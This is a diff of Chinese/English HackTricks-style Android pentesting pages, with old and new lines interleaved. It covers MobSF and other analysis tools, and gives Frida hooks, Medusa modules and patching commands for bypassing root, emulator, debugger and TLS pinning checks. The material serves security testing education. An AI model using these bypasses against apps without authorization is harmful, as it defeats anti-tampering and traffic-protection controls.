- **JavaScript Injection (XSS):** 确认已为所有 WebViews 禁用 JavaScript 和 Plugin 支持(默认禁用)。[More info here](webview-attacks.md#javascript-enabled).
- **Local File Inclusion:** 应禁用 WebViews 对文件系统的访问(默认启用) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
- **Eternal cookies**: 在某些情况下,当 android 应用结束会话时 cookie 未被撤销,甚至可能被保存到磁盘
- [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
---
## 自动分析
## 自动分析
### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF)
@ -607,7 +605,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
![](<../../images/image (866).png>)
**对应用的漏洞评估** 使用一个友好的基于 web 的前端。你也可以执行动态分析(但需要准备好环境)。
**对应用的漏洞评估**,使用友好的 web 前端。你也可以执行动态分析(但需要准备好相应环境)。
```bash
docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
@ -617,41 +615,41 @@ Also, if you create a **ZIP** file with the source code if an **Android** or an
MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** (you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file.
### 使用 MobSF 的辅助动态分析
### Assisted Dynamic analysis with MobSF
**MobSF** 在 **Android** 平台上对于 **动态分析** 也非常有帮助,但在这种情况下你需要在宿主机上安装 MobSF 和 **genymotion**(在 VM 或 Docker 中不起作用。_注意你需要先在 genymotion 中**启动一个 VM**,然后再启动 MobSF._\
**MobSF** 在 **Android** **dynamic analysis** 中也非常有用,但在这种情况下你需要在宿主机上安装 MobSF 和 **genymotion**VM 或 Docker 无法工作。_注意你需要**先在 genymotion 启动一个 VM**,然后再启动 **MobSF**_\
**MobSF dynamic analyser** 可以:
- **Dump application data**URLs、日志、剪贴板、你拍的截图、通过 "**Exported Activity Tester**" 拍的截图、电子邮件、SQLite 数据库、XML 文件和其他创建的文件)。除了截图外,所有这些都是自动完成的;截图需要你在想要截图时手动按下,或者按下 "**Exported Activity Tester**" 来获取所有 exported activities 的截图。
- 捕获 **HTTPS traffic**
- 使用 **Frida** 获取 **runtime** **information**
- **Dump application data**URLs、日志、剪贴板、你手动截的 screenshots、由 "**Exported Activity Tester**" 生成的 screenshots、电子邮件、SQLite 数据库、XML 文件以及其他生成的文件)。除了 screenshots 需要你手动按下截屏或按下 "**Exported Activity Tester**" 来获取所有 exported activities 的截图外,其它都能自动完成
- Capture **HTTPS traffic**
- Use **Frida** to obtain **runtime** **information**
从 android **versions > 5** 开始,它会**自动启动 Frida**并会设置全局 **proxy** 来**捕获**流量。它只会捕获来自被测试应用的流量。
From android **versions > 5**, it will **automatically start Frida** and will set global **proxy** settings to **capture** traffic. It will only capture traffic from the tested application.
**Frida**
默认情况下,它还会使用一些 Frida Scripts 来**绕过 SSL pinning**、**root detection** 和 **debugger detection**,并**监控有趣的 API**。\
MobSF 还可以**调用 exported activities**,抓取它们的**screenshots**并将其**保存**到报告中。
By default, it will also use some Frida Scripts to **bypass SSL pinning**, **root detection** and **debugger detection** and to **monitor interesting APIs**.\
MobSF can also **invoke exported activities**, grab **screenshots** of them and **save** them for the report.
要**开始**动态测试,按绿色按钮:“**Start Instrumentation**”。按“**Frida Live Logs**” 查看 Frida 脚本生成的日志,按“**Live API Monitor**” 查看对被 hook 方法的所有调用、传入参数和返回值(在按下 "Start Instrumentation" 后会出现)。\
MobSF 还允许你加载自己的 **Frida scripts**(要将你的 Frida 脚本结果发送到 MobSF请使用函数 `send()`)。它也包含**若干预写脚本**可供加载(你可以在 `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` 中添加更多),只需**选择**它们,按“**Load**”然后按“**Start Instrumentation**”(你将能在“**Frida Live Logs**”中看到这些脚本的日志)。
To **start** the dynamic testing press the green bottom: "**Start Instrumentation**". Press the "**Frida Live Logs**" to see the logs generated by the Frida scripts and "**Live API Monitor**" to see all the invocation to hooked methods, arguments passed and returned values (this will appear after pressing "Start Instrumentation").\
MobSF also allows you to load your own **Frida scripts** (to send the results of your Friday scripts to MobSF use the function `send()`). It also has **several pre-written scripts** you can load (you can add more in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), just **select them**, press "**Load**" and press "**Start Instrumentation**" (you will be able to see the logs of that scripts inside "**Frida Live Logs**").
![](<../../images/image (419).png>)
此外,你还有一些辅助的 Frida 功能:
Moreover, you have some Auxiliary Frida functionalities:
- **Enumerate Loaded Classes**打印所有已加载的类
- **Capture Strings**:在使用应用时打印所有捕获到的字符串(噪声很大
- **Capture String Comparisons**:非常有用。它会**显示被比较的两条字符串**以及比较结果是 True 还是 False
- **Enumerate Class Methods**:输入类名(例如 "java.io.File",它会打印该类的所有方法
- **Search Class Pattern**:按模式搜索
- **Trace Class Methods****Trace** 整个类(查看该类所有方法的输入和输出)。记住默认情况下 MobSF 会追踪若干有趣的 Android API 方法。
- **Enumerate Loaded Classes**会打印所有已加载的 classes
- **Capture Strings**:在使用应用时会打印抓取到的所有字符串(非常嘈杂
- **Capture String Comparisons**:非常有用。会**显示被比较的两个字符串**以及比较结果是 True 还是 False
- **Enumerate Class Methods**:输入类名(例如 "java.io.File")会打印该类的所有方法
- **Search Class Pattern**:按模式搜索 classes
- **Trace Class Methods****Trace** 整个类(查看该类所有方法的输入和输出)。记住默认情况下 MobSF 会 trace 若干有趣的 Android Api 方法。
一旦你选择了要使用的辅助模块,你需要按“**Start Intrumentation**”,你会在“**Frida Live Logs**”中看到所有输出。
一旦选择了你想使用的辅助模块,按下 "**Start Intrumentation**",你将在 "**Frida Live Logs**" 中看到所有输出。
**Shell**
MobSF 在动态分析页面底部还提供了一个带有一些 **adb** 命令、**MobSF commands** 和常用 **shell** **commands** 的 shell。一些有趣的命令:
MobSF 在 dynamic analysis 页面底部还提供了一个 shell包含一些 **adb** 命令、**MobSF commands** 和常用 **shell** **commands**。一些有趣的命令:
```bash
help
shell ls
@ -662,32 +660,32 @@ receivers
```
**HTTP tools**
当 HTTP 流量被捕获时,你可以在底部的 "**HTTP(S) Traffic**" 按钮看到原始的捕获流量视图,或在绿色按钮 "**Start HTTPTools**" 中看到更友好的视图。从第二个选项,你可以将**捕获的请求** **发送**到像 Burp 或 Owasp ZAP 这样的 **proxies**。\
要做到这一点_启 Burp -->_ _关闭 Intercept --> 在 MobSB HTTPTools 中选择请求_ --> 点击 "**Send to Fuzzer**" --> _选择代理地址_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。
当 HTTP 流量被捕获时,你可以在底部的 "**HTTP(S) Traffic**" 按钮看到原始的捕获视图,或在绿色的 "**Start HTTPTools**" 按钮看到更友好的视图。通过第二个选项,你可以将 **captured requests** 发送到像 Burp 或 Owasp ZAP 这样的 **proxies**。\
要做到这一点_启 Burp -->_ _关闭 Intercept --> 在 MobSB HTTPTools 中选择请求_ --> "**Send to Fuzzer**" --> _选择代理地址_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。
完成 MobSF 的动态分析后,你可以点击 "**Start Web API Fuzzer**" 来对 http 请求进行 **fuzz** 并查找漏洞。
完成 MobSF 的动态分析后,你可以点击 "**Start Web API Fuzzer**" 来 **fuzz http requests** 并查找漏洞。
> [!TIP]
> 在使用 MobSF 完成动态分析后,代理设置可能会被错误配置,且无法通过 GUI 修复。你可以通过运行以下命令修复代理设置:
> 在使用 MobSF 执行动态分析后proxy settings 可能会被错误配置,且你可能无法从 GUI 修复它们。你可以通过运行以下命令来修复代理设置:
>
> ```
> adb shell settings put global http_proxy :0
> ```
### 使用 Inspeckage 的辅助动态分析
### Assisted Dynamic Analysis with Inspeckage
你可以从 [**Inspeckage**](https://github.com/ac-pm/Inspeckage) 获取工具。\
该工具将使用一些 **Hooks**,在你进行**动态分析**时告知你**应用中正在发生的事情**
你可以从 [**Inspeckage**](https://github.com/ac-pm/Inspeckage) 获取工具。\
该工具会使用一些 **Hooks**,在你进行 **动态分析** 时告诉你 **应用中发生了什么**
### [Yaazhini](https://www.vegabird.com/yaazhini/)
这是一个用于通过 GUI 执行静态分析的**优秀工具**
这是一个用于通过 GUI 执行静态分析的优秀工具
![](<../../images/image (741).png>)
### [Qark](https://github.com/linkedin/qark)
该工具旨在查找多种**与安全相关的 Android 应用漏洞**,无论是在**源代码**还是**打包的 APK**中。该工具还能够**创建可部署的 "Proof-of-Concept" APK**和 **ADB commands**,以利用某些发现的漏洞(如暴露的 activities、intents、tapjacking 等)。与 Drozer 一样,无需对测试设备进行 root。
该工具用于查找若干 **security related Android application vulnerabilities**,无论是在 **source code** 还是 **packaged APKs** 中。该工具还**能够创建可部署的 "Proof-of-Concept" APK** 和 **ADB commands**以利用发现的一些漏洞Exposed activities、intents、tapjacking...)。与 Drozer 一样,无需对测试设备进行 root。
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -696,22 +694,22 @@ qark --java path/to/specific/java/file.java
```
### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
- 显示所有提取的文件以便参考
- 显示所有提取的文件,便于查阅
- 自动将 APK 文件反编译为 Java 和 Smali 格式
- 分析 AndroidManifest.xml 以查找常见漏洞和行为
- 对源代码进行静态分析以查找常见漏洞和行为
- 设备信息
- 以及更多功能
- 以及更多
```bash
reverse-apk relative/path/to/APP.apk
```
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
SUPER 是一个命令行应用程序,可在 Windows、MacOS X 和 Linux 上使用,用于分析 _.apk_ 文件以查找漏洞。它通过解压 APKs 并应用一系列规则来检测这些漏洞。
SUPER 是一个可在 Windows、MacOS X 和 Linux 上使用的命令行应用程序,用于分析 _.apk_ 文件以查找漏洞。它通过解压 APK 并应用一系列规则来检测这些漏洞。
所有规则集中在 `rules.json` 文件中,每家公司或测试人员都可以创建自己的规则来分析所需内容。
所有规则都集中在一个 `rules.json` 文件中,每个公司或测试人员都可以创建自己的规则来分析他们需要的内容。
从 [download page](https://superanalyzer.rocks/download.html) 下载最新的二进制文件
从 [download page](https://superanalyzer.rocks/download.html) 下载最新的二进制文件
```
super-analyzer {apk_file}
```
@ -719,9 +717,9 @@ super-analyzer {apk_file}
![](<../../images/image (297).png>)
StaCoAn 是一个 crossplatform 工具帮助开发者、bugbounty hunters 和 ethical hackers 对移动应用执行 [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis)。
StaCoAn 是一个 **crossplatform** 工具帮助开发者、bugbounty hunters 和 ethical hackers 在移动应用上执行 [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis)。
其概念是将你的移动应用文件 (an .apk or .ipa file) 拖放到 StaCoAn 应用上,它会为你生成一个可视且便携的报告。你可以调整设置和 wordlists 来获得定制化体验。
其概念是将移动应用文件(.apk 或 .ipa 文件)拖放到 StaCoAn 应用上,它会为你生成一个可视化且可携带的报告。你可以调整设置和 wordlists 来获得定制化体验。
下载[ latest release](https://github.com/vincentcox/StaCoAn/releases):
```
@ -729,7 +727,7 @@ StaCoAn 是一个 crossplatform 工具帮助开发者、bugbounty hunters 和
```
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
AndroBugs Framework 是一个 Android 漏洞分析系统,帮助 developers 或 hackers 在 Android 应用中发现潜在的安全漏洞。\
AndroBugs Framework 是一个 Android 漏洞分析系统,帮助开发者或 hackers 发现 Android 应用中的潜在安全漏洞。\
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
```
python androbugs.py -f [APK file]
@ -737,11 +735,11 @@ androbugs.exe -f [APK file]
```
### [Androwarn](https://github.com/maaaaz/androwarn)
**Androwarn** 是一个工具,主要用于检测并提醒用户 Android 应用程序可能的恶意行为。
**Androwarn** 是一个工具,主要用于检测并提醒用户 Android 应用可能表现出潜在恶意行为。
检测通过对应用的 Dalvik bytecode**Smali** 表示)进行 **static analysis**使用 [`androguard`](https://github.com/androguard/androguard) 库来完成的
检测通过对应用的 Dalvik bytecode**Smali** 表示)进行 **static analysis** 实现,使用 [`androguard`](https://github.com/androguard/androguard) 库。
该工具会查找 **common behavior of "bad" applications**,例如Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
此工具查找类似以下的 **常见的“恶意”应用行为**Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
```
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
```
@ -749,76 +747,76 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../images/image (595).png>)
**MARA** 是一个 **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework。它将常用的移动应用逆向工程和分析工具整合在一起以协助针对 OWASP mobile security threats 对移动应用进行测试。其目标是让移动应用开发者和安全专业人员更容易、更友好地完成这项工作
**MARA** 是一个 **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework。它将常用的移动应用逆向工程和分析工具整合在一起帮助测试移动 应用以应对 OWASP 移动安全威胁。其目标是使这项工作对移动应用开发者和安全专业人员更简单、更友好
能够
可以
- 使用不同工具提取 Java 和 Smali 代码
- 使用以下工具分析 APK: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
- 使用 regexps 从 APK 中提取敏感信息。
- 分析 Manifest
- 使用以下工具分析找到的域名: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb)
- 通过 [apk-deguard.com](http://www.apk-deguard.com) 对 APK 进行混淆
- 使用正则表达式从 APK 中提取敏感信息
- 分析 Manifest
- 使用以下工具分析发现的域名: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) [whatweb](https://github.com/urbanadventurer/WhatWeb)
- 通过 [apk-deguard.com](http://www.apk-deguard.com) 对 APK 进行混淆
### Koodous
用于检测 malware: [https://koodous.com/](https://koodous.com/)
用于检测恶意软件: [https://koodous.com/](https://koodous.com/)
## Obfuscating/Deobfuscating code
## 混淆/去混淆 代码
请注意,取决于用于混淆代码的服务和配置,敏感信息可能会被混淆,也可能不会被混淆。
请注意,根据用于混淆代码的服务和配置不同,敏感信息可能会被混淆,也可能不会被混淆。
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. It is able to optimize bytecode as well as detect and remove unused instructions. ProGuard is free software and is distributed under the GNU General Public License, version 2.
摘自 [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** 是一个开源的命令行工具,用于缩小、优化并混淆 Java 代码。它能够优化字节码并检测和移除未使用的指令。ProGuard 是自由软件,根据 GNU General Public License 第 2 版分发。
ProGuard 随 Android SDK 一起发,并在以 release 模式构建应用时运行。
ProGuard 随 Android SDK 一起发,并在以 release 模式构建应用时运行。
### [DexGuard](https://www.guardsquare.com/dexguard)
Find a step-by-step guide to deobfuscate the apk in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
[https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) 可以找到一步步去混淆 apk 的指南
(From that guide) Last time we checked, the Dexguard mode of operation was:
摘自该指南我们上次检查时DexGuard 的运行模式如下:
- load a resource as an InputStream;
- feed the result to a class inheriting from FilterInputStream to decrypt it;
- do some useless obfuscation to waste a few minutes of time from a reverser;
- feed the decrypted result to a ZipInputStream to get a DEX file;
- finally load the resulting DEX as a Resource using the `loadDex` method.
- 将资源以 InputStream 加载;
- 将结果传给继承自 FilterInputStream 的类以进行解密;
- 做一些无用的混淆以浪费逆向人员几分钟的时间;
- 将解密后的结果传给 ZipInputStream 以得到 DEX 文件;
- 最后使用 `loadDex` 方法将得到的 DEX 作为资源加载。
### [DeGuard](http://apk-deguard.com)
**DeGuard reverses the process of obfuscation performed by Android obfuscation tools. This enables numerous security analyses, including code inspection and predicting libraries.**
**DeGuard 逆转 Android 混淆工具执行的混淆过程。 这使得包括代码审查和库识别在内的多种安全分析成为可能。**
你可以将混淆后的 APK 上传到他们的平台。
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
This is a LLM tool to find any potential security vulnerabilities in android apps and deobfuscate android app code. Uses Google's Gemini public API.
这是一个 LLM 工具,用于发现 android 应用中的潜在安全漏洞并去混淆 android 应用代码。使用 Google's Gemini public API。
### [Simplify](https://github.com/CalebFenton/simplify)
It is a **generic android deobfuscator.** Simplify **virtually executes an app** to understand its behavior and then **tries to optimize the code** so it behaves identically but is easier for a human to understand. Each optimization type is simple and generic, so it doesn't matter what the specific type of obfuscation is used.
它是一个通用的 android 去混淆器。Simplify 通过对应用进行虚拟执行来理解其行为,然后尝试优化代码,使其在行为上与原来完全一致但更易于人工理解。每种优化类型都简单且通用,因此混淆的具体类型并不重要。
### [APKiD](https://github.com/rednaga/APKiD)
APKiD gives you information about **how an APK was made**. It identifies many **compilers**, **packers**, **obfuscators**, and other weird stuff. It's [_PEiD_](https://www.aldeid.com/wiki/PEiD) for Android.
APKiD 为你提供关于一个 APK 是如何构建的信息。它能识别许多编译器、packers、obfuscators 以及其他奇怪的东西。它是 Android 领域的 [_PEiD_](https://www.aldeid.com/wiki/PEiD)。
### Manual
[Read this tutorial to learn some tricks on **how to reverse custom obfuscation**](manual-deobfuscation.md)
[阅读本教程以学习一些关于如何逆转自定义混淆的技巧](manual-deobfuscation.md)
## Labs
## 实验室
### [Androl4b](https://github.com/sh4hin/Androl4b)
AndroL4b 是一个基于 ubuntu-mate 的 Android 安全虚拟机,包含来自不同安全极客和研究人员的最新框架、教程和用于逆向工程与 malware analysis 的实验
AndroL4b 是一个基于 ubuntu-mate 的 Android 安全虚拟机,包含来自不同安全爱好者和研究人员的最新框架、教程和用于逆向工程及恶意软件分析的实验合集
## References
## 参考资料
- [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) It is a great list of resources
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) 这是一个很好的资源列表
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android 快速课程
- [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
- [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
- [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
@ -827,7 +825,7 @@ AndroL4b 是一个基于 ubuntu-mate 的 Android 安全虚拟机,包含来自
- [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns)
- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
## Yet to try
## 待尝试
- [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
- [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)

View File

@ -1,31 +1,31 @@
# Android 反注入与 SSL Pinning 绕过 (Frida/Objection)
# Android Anti-Instrumentation & SSL Pinning Bypass (Frida/Objection)
{{#include ../../banners/hacktricks-training.md}}
本页提供一个实用工作流程,用于恢复对检测到或阻止 instrumentation 或强制 TLS pinning 的 Android 应用的动态分析。侧重快速分诊、常见检测点,以及可复制粘贴的 hooks/tactics在可能的情况下无需重新打包即可绕过
本页面提供一个实用工作流程,用于在 Android 应用中恢复对检测/阻止 instrumentation 或强制 TLS pinning 的动态分析。重点在于快速初步判断、常见检测点,以及可直接复制粘贴的 hook/策略以在可能的情况下避免重打包
## Detection Surface (what apps check)
- Root checks: su 二进制、Magisk 路径、getprop 值、常见 root 包
- Frida/debugger checks (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), 扫描 /proc、classpath、已加载的 libs
- Native antidebug: ptrace(), syscalls, antiattach、断点、inline hooks
- Early init checks: Application.onCreate() 或进程启动时的 hooks如果检测到 instrumentation 则导致崩溃
- TLS pinning: custom TrustManager/HostnameVerifier、OkHttp CertificatePinner、Conscrypt pinning、本地 native pins
- Root checks: su binary, Magisk paths, getprop values, common root packages
- Frida/debugger checks (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), scanning /proc, classpath, loaded libs
- Native antidebug: ptrace(), syscalls, antiattach, breakpoints, inline hooks
- Early init checks: Application.onCreate() or process start hooks that crash if instrumentation is present
- TLS pinning: custom TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt pinning, native pins
## Step 1 — Quick win: hide root with Magisk DenyList
- 在 Magisk 中启用 Zygisk
- 启用 DenyList添加目标包
- 重启并重新测试
- Enable Zygisk in Magisk
- Enable DenyList, add the target package
- Reboot and retest
许多应用仅查找明显的指示器su/Magisk 路径/getprop。DenyList 通常可以中和这些简单的检测
许多应用只检查明显的指示器su/Magisk 路径/getprop。DenyList 往往可以中和这些简单的检查
References:
- Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk
## Step 2 — 30second Frida Codeshare tests
在深入之前尝试常见的 dropin 脚本:
在深入之前先尝试常见的即插即用脚本:
- anti-root-bypass.js
- anti-frida-detection.js
@ -35,13 +35,13 @@ Example:
```bash
frida -U -f com.example.app -l anti-frida-detection.js
```
这些通常会 stub Java 的 root/debug 检查、process/service 扫描和原生 ptrace()。适用于保护较轻的应用;加固目标可能需要定制化的 hooks。
这些通常对 Java 的 root/debug 检查、process/service 扫描和原生 ptrace() 做存根。对保护较轻的应用有用;对强化的目标可能需要定制的 hooks。
- Codeshare: https://codeshare.frida.re/
## 使用 Medusa 自动化Frida framework
## 使用 Medusa (Frida framework)
Medusa 提供 90+ 即用模块,用于 SSL unpinning、root/emulator detection bypass、HTTP comms logging、crypto key interception 等。
Medusa 提供 90+ 个现成模块,用于 SSL unpinning、root/emulator detection bypass、HTTP comms logging、crypto key interception 等。
```bash
git clone https://github.com/Ch0pin/medusa
cd medusa
@ -54,22 +54,22 @@ use http_communications/multiple_unpinner
use root_detection/universal_root_detection_bypass
run com.target.app
```
提示:Medusa 非常适合在编写自定义 hooks 之前快速获得成果。你也可以 cherry-pick modules并将它们与自己的 scripts 结合使用。
提示:在编写 custom hooks 之前Medusa 非常适合快速取得成果。你也可以挑选 modules 并将它们与自己的 scripts 结合使用。
## 第 3 步 — 通过延后 attaching 绕过 init-time 检测器
## 第 3 步 — 通过延迟 attaching 绕过初始化时检测器
许多检测仅在 process spawn/onCreate() 阶段运行。Spawntime injection (-f) 或 gadgets 会被发现;在 UI 加载之后再进行 attaching 则可能绕过检测。
许多检测仅在 process spawn/onCreate() 期间运行。Spawntime injection (-f) 或 gadgets 会被捕获;在 UI 加载后再进行 attaching 往往能绕过检测。
```bash
# Launch the app normally (launcher/adb), wait for UI, then attach
frida -U -n com.example.app
# Or with Objection to attach to running process
aobjection --gadget com.example.app explore # if using gadget
```
如果这有效,保持会话稳定并继续进行映射和 stub 检查。
如果这有效,保持会话稳定并继续进行映射和存根检查。
## 第4步 — 通过 Jadx 和字符串搜索映射检测逻辑
## Step 4 — Map detection logic via Jadx and string hunting
在 Jadx 中用于静态初筛的关键字:
在 Jadx 中的静态初步筛查关键字:
- "frida", "gum", "root", "magisk", "ptrace", "su", "getprop", "debugger"
典型的 Java 模式:
@ -78,16 +78,16 @@ public boolean isFridaDetected() {
return getRunningServices().contains("frida");
}
```
常见需审查/hook的 API
常见需审查/hook 的 API
- android.os.Debug.isDebuggerConnected
- android.app.ActivityManager.getRunningAppProcesses / getRunningServices
- java.lang.System.loadLibrary / System.load (native bridge)
- java.lang.Runtime.exec / ProcessBuilder (probing commands)
- android.os.SystemProperties.get (root/emulator heuristics)
## 第5步 — Runtime stubbing with Frida (Java)
## 第5步 — 使用 Frida (Java) 进行运行时存根
覆写自定义防护以返回安全值,无需重新打包:
重写自定义守卫以返回安全值,无需重新打包:
```js
Java.perform(() => {
const Checks = Java.use('com.example.security.Checks');
@ -102,7 +102,7 @@ const AM = Java.use('android.app.ActivityManager');
AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); };
});
```
对早期崩溃进行分级吗?就在它崩溃之前转储类,以找出可能的检测命名空间:
处理早期崩溃时?在进程结束前转储 classes,以找出可能的检测命名空间:
```js
Java.perform(() => {
Java.enumerateLoadedClasses({
@ -119,7 +119,7 @@ RootChecker.isDeviceRooted.implementation = function () { return false; };
} catch (e) {}
});
记录并使可疑方法失效以确认执行流程:
记录并中和可疑方法以确认执行流程:
```js
Java.perform(() => {
const Det = Java.use('com.example.security.DetectionManager');
@ -129,11 +129,11 @@ return false;
};
});
```
## Bypass emulator/VM detection (Java stubs)
## 绕过模拟器/虚拟机检测 (Java stubs)
常见启发式规则Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE 包含 generic/goldfish/ranchu/sdk存在 QEMU 伪像,如 /dev/qemu_pipe、/dev/socket/qemud默认 MAC 02:00:00:00:00:0010.0.2.x NAT缺少 telephony/sensors
常见启发式检测Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE 包含 generic/goldfish/ranchu/sdkQEMU 痕迹,例如 /dev/qemu_pipe、/dev/socket/qemud默认 MAC 02:00:00:00:00:0010.0.2.x NAT缺少电话功能/传感器
快速伪 Build 字段:
快速伪 Build 字段:
```js
Java.perform(function(){
var Build = Java.use('android.os.Build');
@ -143,11 +143,11 @@ Build.BRAND.value = 'google';
Build.FINGERPRINT.value = 'google/panther/panther:14/UP1A.231105.003/1234567:user/release-keys';
});
```
补充用于文件存在性检查和标识符的TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList以返回真实的值。
补充用于文件存在性检查和标识符的存根TelephonyManager.getDeviceId/SubscriberId、WifiInfo.getMacAddress、SensorManager.getSensorList以返回真实的值。
## SSL pinning bypass quick hook (Java)
使自定义 TrustManagers 失效并强制使用宽松的 SSL contexts
使自定义 TrustManagers 失效并强制使用宽松的 SSL 上下文
```js
Java.perform(function(){
var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
@ -166,23 +166,23 @@ return SSLContextInit.call(this, km, TrustManagers, sr);
});
```
注意
- 针对 OkHttp 扩展:按需 hook okhttp3.CertificatePinner 和 HostnameVerifier或使用来自 CodeShare 的通用 unpinning 脚本。
- 运行示例: `frida -U -f com.target.app -l ssl-bypass.js --no-pause`
- 针对 OkHttp 扩展:根据需要 hook okhttp3.CertificatePinner 和 HostnameVerifier或使用来自 CodeShare 的通用 unpinning 脚本。
- 运行示例 `frida -U -f com.target.app -l ssl-bypass.js --no-pause`
## 第 6 步 — 在 Java hooks 失效时追踪 JNI/native 轨迹
## 第6步 — 当 Java hooks 失败时,追踪 JNI/native 的轨迹
追踪 JNI entry points 以定位 native loaders 和 detection init:
追踪 JNI entry points,以定位 native loaders 和 detection init
```bash
frida-trace -n com.example.app -i "JNI_OnLoad"
```
对捆绑的 .so 文件进行快速本地初步分析:
对捆绑的 .so 文件进行快速本地初步分析
```bash
# List exported symbols & JNI
nm -D libfoo.so | head
objdump -T libfoo.so | grep Java_
strings -n 6 libfoo.so | egrep -i 'frida|ptrace|gum|magisk|su|root'
```
交互式/本地 reversing:
交互式/本地 逆向分析:
- Ghidra: https://ghidra-sre.org/
- r2frida: https://github.com/nowsecure/r2frida
@ -195,7 +195,7 @@ return -1; // pretend failure
}, 'int', ['int', 'int', 'pointer', 'pointer']));
}
```
另见:
请参见:
{{#ref}}
reversing-native-libraries.md
{{#endref}}
@ -206,16 +206,16 @@ reversing-native-libraries.md
```bash
objection patchapk --source app.apk
```
Notes:
- Requires apktool; ensure a current version from the official guide to avoid build issues: https://apktool.org/docs/install
- Gadget injection enables instrumentation without root but can still be caught by stronger inittime checks.
注意事项:
- Requires apktool;请根据官方指南确保使用最新版本以避免构建问题: https://apktool.org/docs/install
- Gadget injection 允许在无 root 情况下进行 instrumentation但仍可能被更严格的 inittime checks 捕获。
Optionally, add LSPosed modules and Shamiko for stronger root hiding in Zygisk environments, and curate DenyList to cover child processes.
可选:在 Zygisk 环境中添加 LSPosed 模块和 Shamiko 以增强 root 隐藏,并维护 DenyList 以覆盖 child processes。
References:
参考:
- Objection: https://github.com/sensepost/objection
## Step 8 — 后备:修补 TLS pinning 以实现网络可见性
## 第 8 步 — 备用:修补 TLS pinning 以实现网络可见性
如果 instrumentation 被阻止,你仍然可以通过静态移除 pinning 来检查流量:
```bash
@ -223,7 +223,7 @@ apk-mitm app.apk
# Then install the patched APK and proxy via Burp/mitmproxy
```
- 工具: https://github.com/shroudedcode/apk-mitm
- 有关网络配置 CAtrust 技巧(以及 Android 7+ 用户 CA trust请参见
- 有关网络配置 CAtrust 技巧(以及 Android 7+ user CA trust请参见
{{#ref}}
make-apk-accept-ca-certificate.md
@ -253,12 +253,12 @@ apk-mitm app.apk
```
## 提示与注意事项
- 当应用在启动时崩溃时,优先延后 attach 而不是 spawn
